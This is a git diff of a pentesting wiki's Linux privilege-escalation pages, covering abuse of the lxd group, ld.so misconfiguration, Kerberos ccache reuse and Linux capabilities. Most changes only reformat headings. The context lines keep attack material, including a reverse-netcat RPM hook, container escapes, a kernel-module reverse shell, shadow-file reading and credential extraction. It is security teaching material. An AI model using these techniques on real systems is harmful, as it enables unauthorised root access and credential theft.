defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. @@ -40,7 +38,7 @@ echo $CMD > $EXPLOITDIR/beforeinstall.sh fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR ``` -## Catching a shell +# Catching a shell Using the above example and assuming `yum` can be executed as a higher-privileged user. 1. **Transfer** the rpm to the host diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 59358e6e..ef4529b4 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Interesting Groups - Linux PE +# Sudo/Admin Groups -## Sudo/Admin Groups - -### **PE - Method 1** +## **PE - Method 1** **Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: @@ -41,7 +39,7 @@ If this is the case, to **become root you can just execute**: sudo su ``` -### PE - Method 2 +## PE - Method 2 Find all suid binaries and check if there is the binary **Pkexec**: @@ -89,7 +87,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` {% endcode %} -## Wheel Group +# Wheel Group **Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: @@ -105,7 +103,7 @@ If this is the case, to **become root you can just execute**: sudo su ``` -## Shadow Group +# Shadow Group Users from the **group shadow** can **read** the **/etc/shadow** file: @@ -115,7 +113,7 @@ Users from the **group shadow** can **read** the **/etc/shadow** file: So, read the file and try to **crack some hashes**. -## Disk Group +# Disk Group This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. @@ -138,7 +136,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. -## Video Group +# Video Group Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: @@ -165,7 +163,7 @@ Then modify the Width and Height to the ones used on the screen and check differ ![](../../.gitbook/assets/image%20%28295%29.png) -## Root Group +# Root Group It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... @@ -175,7 +173,7 @@ It looks like by default **members of root group** could have access to **modify find / -group root -perm -g=w 2>/dev/null ``` -## Docker Group +# Docker Group You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. @@ -183,7 +181,7 @@ You can mount the root filesystem of the host machine to an instance’s volume, {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +# lxc/lxd Group [lxc - Privilege Escalation](lxd-privilege-escalation.md) diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md index c83132cb..59bfdd01 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Interesting Groups - Linux PE +# Sudo/Admin Groups -## Sudo/Admin Groups - -### **PE - Method 1** +## **PE - Method 1** **Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: @@ -41,7 +39,7 @@ If this is the case, to **become root you can just execute**: sudo su ``` -### PE - Method 2 +## PE - Method 2 Find all suid binaries and check if there is the binary **Pkexec**: @@ -89,7 +87,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ``` {% endcode %} -## Wheel Group +# Wheel Group **Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: @@ -105,7 +103,7 @@ If this is the case, to **become root you can just execute**: sudo su ``` -## Shadow Group +# Shadow Group Users from the **group shadow** can **read** the **/etc/shadow** file: @@ -115,7 +113,7 @@ Users from the **group shadow** can **read** the **/etc/shadow** file: So, read the file and try to **crack some hashes**. -## Disk Group +# Disk Group This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. @@ -139,7 +137,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. -## Video Group +# Video Group Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: @@ -166,7 +164,7 @@ Then modify the Width and Height to the ones used on the screen and check differ ![](<../../../.gitbook/assets/image (288).png>) -## Root Group +# Root Group It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... @@ -176,7 +174,7 @@ It looks like by default **members of root group** could have access to **modify find / -group root -perm -g=w 2>/dev/null ``` -## Docker Group +# Docker Group You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. @@ -204,18 +202,18 @@ If you have write permissions over the docker socket read [**this post about how {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +# lxc/lxd Group {% content-ref url="./" %} [.](./) {% endcontent-ref %} -## Adm Group +# Adm Group Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. -## Auth group +# Auth group Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 49953538..e4ef8fa4 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# lxd/lxc Group - Privilege escalation - If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root -## Exploiting without internet +# Exploiting without internet -### Method 1 +## Method 1 You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): @@ -76,7 +74,7 @@ lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` -### Method 2 +## Method 2 Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. @@ -106,7 +104,7 @@ lxc exec mycontainer /bin/sh Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root) -## With internet +# With internet You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). @@ -118,7 +116,7 @@ lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` -## Other Refs +# Other Refs {% embed url="https://reboare.github.io/lxd/lxd-escape.html" %} diff --git a/linux-unix/privilege-escalation/ld.so.conf-example.md b/linux-unix/privilege-escalation/ld.so.conf-example.md index 7e99f647..cc81d520 100644 --- a/linux-unix/privilege-escalation/ld.so.conf-example.md +++ b/linux-unix/privilege-escalation/ld.so.conf-example.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ld.so exploit example - -## Prepare the environment +# Prepare the environment In the following section you can find the code of the files we are going to use to prepare the environment @@ -62,7 +60,7 @@ void say_hi() 3. **Copy **_ libcustom.so_ to _/usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs) 4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment +## Check the environment Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. @@ -78,7 +76,7 @@ Welcome to my amazing application! Hi ``` -## Exploit +# Exploit In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: @@ -130,12 +128,12 @@ ubuntu Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. {% endhint %} -### Other misconfigurations - Same vuln +## Other misconfigurations - Same vuln In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. -## Exploit 2 +# Exploit 2 **Suppose you have sudo privileges over `ldconfig`**.\ You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ @@ -166,7 +164,7 @@ ldd sharedvuln I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied` {% endhint %} -## References +# References * [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html) * [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2) diff --git a/linux-unix/privilege-escalation/linux-active-directory.md b/linux-unix/privilege-escalation/linux-active-directory.md index a95d46d5..7c18896b 100644 --- a/linux-unix/privilege-escalation/linux-active-directory.md +++ b/linux-unix/privilege-escalation/linux-active-directory.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Linux Active Directory - A linux machine can also be present inside an Active Directory environment. A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. -### General enumeration +## General enumeration If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. -### Pass The Ticket +## Pass The Ticket In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: @@ -35,7 +33,7 @@ In this page you are going to find different places were you could **find kerber [pass-the-ticket.md](../../windows/active-directory-methodology/pass-the-ticket.md) {% endcontent-ref %} -### CCACHE ticket reuse from /tmp +## CCACHE ticket reuse from /tmp > When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions @@ -50,7 +48,7 @@ krb5cc_1569901115 export KRB5CCNAME=/tmp/krb5cc_1569901115 ``` -### CCACHE ticket reuse from keyring +## CCACHE ticket reuse from keyring Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) @@ -72,7 +70,7 @@ make CONF=Release [X] [uid:0] Error retrieving tickets ``` -### CCACHE ticket reuse from SSSD KCM +## CCACHE ticket reuse from SSSD KCM SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. @@ -85,7 +83,7 @@ python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. -### CCACHE ticket reuse from keytab +## CCACHE ticket reuse from keytab ```bash git clone https://github.com/its-a-feature/KeytabParser @@ -93,7 +91,7 @@ python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -### Extract accounts from /etc/krb5.keytab +## Extract accounts from /etc/krb5.keytab The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure. @@ -134,7 +132,7 @@ $ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 ``` -## References +# References * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) diff --git a/linux-unix/privilege-escalation/linux-capabilities.md b/linux-unix/privilege-escalation/linux-capabilities.md index da95d2b3..00d95f41 100644 --- a/linux-unix/privilege-escalation/linux-capabilities.md +++ b/linux-unix/privilege-escalation/linux-capabilities.md @@ -16,17 +16,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## What are Capabilities Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. -### Why capabilities? +# Why capabilities? To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve. Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. -### Capabilities Sets +# Capabilities Sets **Inherited capabilities** @@ -45,9 +44,9 @@ For a detailed explanation of the difference between capabilities in threads and * [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) * [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -### Processes & Binaries Capabilities +# Processes & Binaries Capabilities -#### Processes Capabilities +## Processes Capabilities To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. @@ -128,7 +127,7 @@ $ capsh --decode=0000000000003000 As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. -#### Binaries Capabilities +## Binaries Capabilities Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: @@ -143,7 +142,7 @@ You can **search binaries with capabilities** using: getcap -r / 2>/dev/null ``` -#### Dropping capabilities with capsh +## Dropping capabilities with capsh If we drop the CAP\_NET\_RAW capabilities for _ping_, then the ping utility should no longer work. @@ -157,7 +156,7 @@ Besides the output of _capsh_ itself, the _tcpdump_ command itself should also r The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. -#### Remove Capabilities +## Remove Capabilities You can remove capabilities of a binary with @@ -165,7 +164,7 @@ You can remove capabilities of a binary with setcap -r ``` -### User Capabilities +# User Capabilities Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ @@ -185,7 +184,7 @@ cap_net_admin,cap_net_raw jrnetadmin cap_sys_admin,22,25 jrsysadmin ``` -### Environment Capabilities +# Environment Capabilities Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. @@ -298,11 +297,11 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip You can **only add capabilities that are present** in both the permitted and the inheritable sets. {% endhint %} -#### Capability-aware/Capability-dumb binaries +## Capability-aware/Capability-dumb binaries The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. -### Service Capabilities +# Service Capabilities By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: @@ -313,7 +312,7 @@ User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` -### Capabilities in Docker Containers +# Capabilities in Docker Containers By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: @@ -332,7 +331,7 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` -## Privesc/Container Escape +# Privesc/Container Escape Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. @@ -355,7 +354,7 @@ To identify programs in a system or folder with capabilities: getcap -r / 2>/dev/null ``` -#### Exploitation example +## Exploitation example In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: @@ -375,7 +374,7 @@ getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` -#### The special case of "empty" capabilities +## The special case of "empty" capabilities Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: @@ -385,7 +384,7 @@ Note that one can assign empty capability sets to a program file, and thus it is then **that binary will run as root**. -### CAP\_SYS\_ADMIN +# CAP\_SYS\_ADMIN [**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container. @@ -475,7 +474,7 @@ chroot /mnt/ adduser john ssh john@172.17.0.1 -p 2222 ``` -### CAP\_SYS\_PTRACE +# CAP\_SYS\_PTRACE **This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**. @@ -613,7 +612,7 @@ gdb -p 1234 You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). -### CAP\_SYS\_MODULE +# CAP\_SYS\_MODULE [**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\ **This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.** @@ -747,7 +746,7 @@ insmod reverse-shell.ko #Launch the reverse shell Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) -### CAP\_DAC\_READ\_SEARCH +# CAP\_DAC\_READ\_SEARCH [**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\ **This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** @@ -961,7 +960,7 @@ I exploit needs to find a pointer to something mounted on the host. The original **The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) -### CAP\_DAC\_OVERRIDE +# CAP\_DAC\_OVERRIDE **This mean that you can bypass write permission checks on any file, so you can write any file.** @@ -1151,7 +1150,7 @@ In order to scape the docker container you could **download** the files `/etc/sh **The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) -### CAP\_CHOWN +# CAP\_CHOWN **This means that it's possible to change the ownership of any file.** @@ -1169,7 +1168,7 @@ Or with the **`ruby`** binary having this capability: ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` -### CAP\_FOWNER +# CAP\_FOWNER **This means that it's possible to change the permission of any file.** @@ -1181,7 +1180,7 @@ If python has this capability you can modify the permissions of the shadow file, python -c 'import os;os.chmod("/etc/shadow",0666) ``` -#### CAP\_SETUID +## CAP\_SETUID **This means that it's possible to set the effective user id of the created process.** @@ -1206,7 +1205,7 @@ os.setuid(0) os.system("/bin/bash") ``` -### CAP\_SETGID +# CAP\_SETGID **This means that it's possible to set the effective group id of the created process.** @@ -1241,7 +1240,7 @@ cat /etc/shadow If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). -### CAP\_SETFCAP +# CAP\_SETFCAP **This means that it's possible to set capabilities on files and processes** @@ -1319,13 +1318,13 @@ However, Docker also grants the **CAP\_SETPCAP** by default, so you might be abl However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**. -### CAP\_SYS\_RAWIO +# CAP\_SYS\_RAWIO [**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. This can be useful for **privilege escalation** and **Docker breakout.** -### CAP\_KILL +# CAP\_KILL **This means that it's possible to kill any process.** @@ -1354,7 +1353,7 @@ kill -s SIGUSR1 [electron-cef-chromium-debugger-abuse.md](electron-cef-chromium-debugger-abuse.md) {% endcontent-ref %} -### CAP\_NET\_BIND\_SERVICE +# CAP\_NET\_BIND\_SERVICE **This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. @@ -1386,7 +1385,7 @@ s.connect(('10.10.10.10',500)) {% endtab %} {% endtabs %} -### CAP\_NET\_RAW +# CAP\_NET\_RAW [**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container. @@ -1451,7 +1450,7 @@ while True: count=count+1 ``` -### CAP\_NET\_ADMIN + CAP\_NET\_RAW +# CAP\_NET\_ADMIN + CAP\_NET\_RAW [**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces. @@ -1471,7 +1470,7 @@ import iptc iptc.easy.flush_table('filter') ``` -### CAP\_LINUX\_IMMUTABLE +# CAP\_LINUX\_IMMUTABLE **This means that it's possible modify inode attributes.** You cannot escalate privileges directly with this capability. @@ -1511,20 +1510,20 @@ sudo chattr -i file.txt ``` {% endhint %} -### CAP\_SYS\_CHROOT +# CAP\_SYS\_CHROOT [**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes: * [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf) * [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) -### CAP\_SYS\_BOOT +# CAP\_SYS\_BOOT [**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms. This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels. -### CAP\_SYSLOG +# CAP\_SYSLOG [CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1. @@ -1532,7 +1531,7 @@ The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if k In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons. -## References +# References **Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. diff --git a/linux-unix/privilege-escalation/logstash.md b/linux-unix/privilege-escalation/logstash.md index 58a05962..5d8bc3d7 100644 --- a/linux-unix/privilege-escalation/logstash.md +++ b/linux-unix/privilege-escalation/logstash.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Logstash - -## Basic Information +# Basic Information Logstash is used for collecting, transforming and outputting logs. This is realized by using **pipelines**, which contain input, filter and output modules. The service gets interesting when having compromised a machine which is running Logstash as a service. -### Pipelines +## Pipelines The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the locations of active pipelines: @@ -41,7 +39,7 @@ The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the lo In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard. -### Privesc with writable pipelines +## Privesc with writable pipelines Before trying to elevate your own privileges you should check which user is running the logstash service, since this will be the user, you will be owning afterwards. Per default the logstash service runs with the privileges of the **logstash** user. @@ -79,7 +77,7 @@ If **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: If no wildcard is used, you can apply those changes to an existing pipeline configuration. **Make sure you do not break things!** -## References +# References * [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/) diff --git a/linux-unix/privilege-escalation/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/lxd-privilege-escalation.md index 4de9c264..6326fd00 100644 --- a/linux-unix/privilege-escalation/lxd-privilege-escalation.md +++ b/linux-unix/privilege-escalation/lxd-privilege-escalation.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# lxc - Privilege escalation - If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root -## Exploiting without internet +# Exploiting without internet You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\): @@ -69,7 +67,7 @@ lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` -## With internet +# With internet You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). @@ -81,7 +79,7 @@ lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` -## Other Refs +# Other Refs {% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %} diff --git a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 8c0bdc99..b97a8063 100644 --- a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# NFS no\_root\_squash/no\_all\_squash misconfiguration PE - Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the 